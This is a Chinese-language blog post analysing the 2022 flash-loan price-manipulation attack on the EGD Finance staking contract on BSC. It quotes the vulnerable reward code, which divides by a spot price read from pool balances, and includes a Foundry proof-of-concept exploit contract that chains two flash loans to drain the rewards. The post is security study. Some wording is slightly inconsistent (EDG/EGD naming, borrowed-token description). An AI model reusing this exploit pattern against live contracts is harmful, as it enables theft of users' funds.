EDGFinance 在2022-08-07 23:15:46(UTC) 遭受闪电贷价格操纵攻击,导致近$36,044的损失。
通过破解 ethernaut-Dex/DexTwo,我对价格操纵攻击有了初步的理解,为了进一步了解现实生活中价格操纵如何发生的,我将跟随教程分析 EDGFinance 价格操纵攻击事件,我会将分析思路详细地记录下来,同时使用 foundry 框架进行测试。 大家可以通过阅读我之前写的破解 Dex 的文章来对价格操纵有初步的了解,该文章对价格操纵进行了详细的介绍。
balanceOf
查询余额 --> static call可参考的链接:phalcon
攻击基本信息
@KeyInfo - Total Lost : ~36,044 US$
Attack Tx: https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
Attacker Address(EOA): 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
Attack Contract Address: 0xc30808d9373093fbfcec9e026457c6a9dab706a7
Vulnerable Address: 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (proxy)
Vulnerable Address: 0x93c175439726797dcee24d08e4ac9164e88e7aee (logic)
Total Loss: 36,044,121156865234135946 BSC-USD
@Analysis
Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
文档中代币数量以 10**18 为单位
首先,简单地通过 phalcon 根据函数调用,找出符合闪电贷攻击套路的Call,先查看 3-> CALL
及以下地调用,具体如下:
<!--EndFragment-->
424456.224..*10e18
被借出424456.221..*10e18
;PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens
将自己手中的 EDG 全部用来交换 BSC-USD,此时的价格是多少呢,如果按照上图去分析,此时 EDG:BSC-USD = 52,443,151,000 : 3, 直接兑换无法获利,这里有个漏洞,后续会进行详细分析;pancakeCall()
分析现在进入到4-> CALL
,具体如下:
<!--EndFragment-->
可以看到 .pancakeCall()
执行逻辑不通,仔细看可以发现两次调用参数 _data 是不同的,根据 call 逻辑,不难分析出,_data = 0x00 时,调用了代理合约的 claimAllReward()函数,
继续深入claimAllReward()
函数的 call,逻辑合约 EDG_Finance 读取了 0xa361-Cake-LP 的 EGD Token 余额和 USDT 余额,然后将大量的 EGD Token 转出给攻击合约,这很明显是一个漏洞,EDG_Finance::claimAllReward() 存在漏洞。
<!--StartFragment-->
<!--EndFragment-->
通过在浏览器查询,可知 0xa361-Cake-LP 是 EGD/BSC-USDT 交易对,其实根据 balanceOf 的调用也能推断出: )
EDG_Finance 外部调用的函数包括stake
, claimAllReward
, calculateReward
, 不难推断出 EDG_Finance 是个质押合约,存在漏洞的函数claimAllReward
是提款函数,我们来对该函数进行分析:
function claimAllReward() external {
require(userInfo[msg.sender].userStakeList.length > 0, 'no stake');
require(!black[msg.sender],'black');
uint[] storage list = userInfo[msg.sender].userStakeList;
uint rew;
uint outAmount;
uint range = list.length;
// 根据stake信息进行提取收益
for (uint i = 0; i < range; i++) {
UserSlot storage info = userSlot[msg.sender][list[i - outAmount]];
require(info.totalQuota != 0, 'wrong index');
uint quota = (block.timestamp - info.claimTime) * info.rates;
if (quota >= info.leftQuota) {
quota = info.leftQuota;
}
@> rew += quota * 1e18 / getEGDPrice();
info.claimTime = block.timestamp;
info.leftQuota -= quota;
info.claimedQuota += quota;
if (info.leftQuota == 0) {
userInfo[msg.sender].totalAmount -= info.totalQuota;
delete userSlot[msg.sender][list[i - outAmount]];
list[i - outAmount] = list[list.length - 1];
list.pop();
outAmount ++;
}
}
userInfo[msg.sender].userStakeList = list;
EGD.transfer(msg.sender, rew);
userInfo[msg.sender].totalClaimed += rew;
emit Claim(msg.sender,rew);
}
uint quota = (block.timestamp - info.claimTime) * info.rates;
if (quota >= info.leftQuota) {
quota = info.leftQuota;
}
@> rew += quota * 1e18 / getEGDPrice();
可以直观地看到,收益 = 质押数量 * 质押时间 / 当前 EDG 的价格,我们只关注 getEGDPrice()
函数,看看 EDG 价格如何获取的,
function getEGDPrice() public view returns (uint){
uint balance1 = EGD.balanceOf(pair);
uint balance2 = U.balanceOf(pair);
return (balance2 * 1e18 / balance1);
}
pair
地址是0xa361-Cake-LP
,也就是 EGD/BSC-USDT 交易对的池子,价格获取方式是 PY = amountX / amountY, 其中 amountX 是池子中 BSC-USDT 的数量,amountY 是池子中 EGD 的数量,通过balanceOf
函数获取,这是一个瞬时价格,很容易被影响。
0xa361-Cake-LP
原本的 EGD 价格是 424456 / 52443151 = 0.08098360286432267777777777777 USD
攻击者通过闪电贷从 WBNB/USD 池子借出 2000 USD,这是第一次借款。
接着,通过pancakeCall
从 EDG/USD pair 借出 424,456,221,210335857574110 EDG,这是第二次借款。借款金额几乎是池子里所有的 EDG,将 EDG 价格 瞬间拉低(52443151*10e3 /3),随后通过调用质押协议 EDG_Finance 的claimAllReward
函数进行收益清算,由于收益是除以 EDG 的瞬时价格,所以最后计算的收益很大很大,几乎卷走了质押协议所有的 EDG,将借出来的 EDG 还给 EDG/USD pair,完成第二次借款。
接着,将获利的 EDG 通过pancakeRouter
转成 USDT,并归还给 WBNB/USD 池子,完成第一次借款,完成闪电贷。
最后,将收益转给攻击者。
contract Exploit {
address recipient = 0xee0221D76504Aec40f63ad7e36855EEbF5eA5EDd;
function stake() public {
console.log("Attacker staking 100 USDT...");
// Set invitor
IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
// Stake 100 USDT
IERC20(usdt).approve(EGD_Finance, 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}
function harvest() external {
// uint256 amountUSDTBefore = IERC20(usdt).balanceOf(address(this));
// 攻击逻辑
IEGD_Finance(EGD_Finance).calculateAll(address(this));
// 攻击合约首先查询 LP 合约存放的EGD、BSC-USD数量和代理合约的EGD数量
uint256 amountEGDCakeLP = IERC20(egd).balanceOf(address(EGD_USDT_LPPool));
uint256 amountUSDTCakeLP = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool));
// 向 USDT_WBNB_LPPool 借出2000 BSC-USD
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
USDT_WBNB_LPPool.swap(2000 * 1e18, 0, address(this), "0000");
console.log("Flashloan[1] payback success");
// 套利
uint256 amountUSDTAfter = IERC20(usdt).balanceOf(address(this));
IERC20(usdt).transfer(recipient, amountUSDTAfter);
}
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external {
if( keccak256(data) == keccak256("0000") ){
console.log("Flashloan[1] received");
console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
uint256 borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
uint256 amountEGD = IERC20(egd).balanceOf(address(this));
address[] memory path = new address[](2);
(path[0], path[1]) = (egd,usdt);
// 将自己手中的EDG全部用来交换BSC-USD
console.log("Swap the profit...");
IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountEGD, 1, path, address(this), block.timestamp);
// 还款1
bool success = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 ether);
require(success, "Flashloan[1] payback failed");
} else if( keccak256(data) == keccak256("00")){
console.log("Flashloan[2] received");
emit log_named_decimal_uint(
"[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
);
// 漏洞
console.log("Claim all EGD Token reward from EGD Finance contract");
IEGD_Finance(EGD_Finance).claimAllReward();
emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
// 还款2
uint256 fee = (amount1 * 10000 / 9970) - amount1;
bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool), fee + amount1);
require(success, "Flashloan[2] payback failed");
}
}
}
完整的 PoC 在这里:https://github.com/Chocolatieee0929/ContractSafetyStudy/blob/main/Security/PoC/EDGFinance.t.sol
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!